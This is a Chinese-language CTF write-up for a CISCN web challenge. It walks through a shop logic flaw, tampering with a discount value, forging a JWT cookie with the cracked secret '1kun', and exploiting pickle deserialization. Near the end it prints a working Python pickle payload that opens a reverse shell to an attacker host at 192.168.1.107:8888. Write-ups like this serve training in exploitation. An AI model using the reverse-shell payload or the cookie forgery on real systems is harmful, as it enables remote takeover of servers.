ciscn-华北赛区-Day1-Web2题解
薅羊毛逻辑漏洞
Cookie伪造 -> JWT
python反序列化 -> 反弹shell
薅羊毛逻辑漏洞
打开题目是这样一个页面
其实最初的题目这个募集资金的进度条是没有刷满的,注册小号刷满即可
这就是一个薅羊毛的逻辑漏洞
看最下边的提示 -> 一定要买到 lv6
翻了下前几页,没有lv6这个图片,一共有500百页
写个搜索脚本:
import requests
url = "http://127.0.0.1:8083/"
for i in range(1,501):
r = requests.get(url + "shop?page=" + str(i))
if r.text.find("lv6.png") != -1:
print(i)
break
查到在181页
买lv6,但是这麽多钱,买不起咋办?
审计页面的HTML代码有个优惠折扣,把它改到很小
跳到了这样一个页面
JWT-Cookie伪造
关于JWT—Cookie伪造的原理请自行查阅
爆破密钥
有个网站https://jwt.io/
可以在这里伪造Cookie,把用户改为admin,密钥为上边破解出来的 "1kun"
抓包改JWT的值,发现一个源码www.zip,下载下来
python反序列化-反弹shell
Admin.py中有个反序列化的点
构造反弹shell的payload:
import pickle
import urllib
import os
class exp(object):
def __reduce__(self):
s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return os.system, (s,)
e=exp()
poc = pickle.dumps(e)
print poc
生成payload:
这个界面有个隐藏表单,把生成的payload URL编码放进去提交
本机(攻击机)nc监听,拿到一个shell,flag在根目录下
蓬莱文章建安骨,中间小谢又清发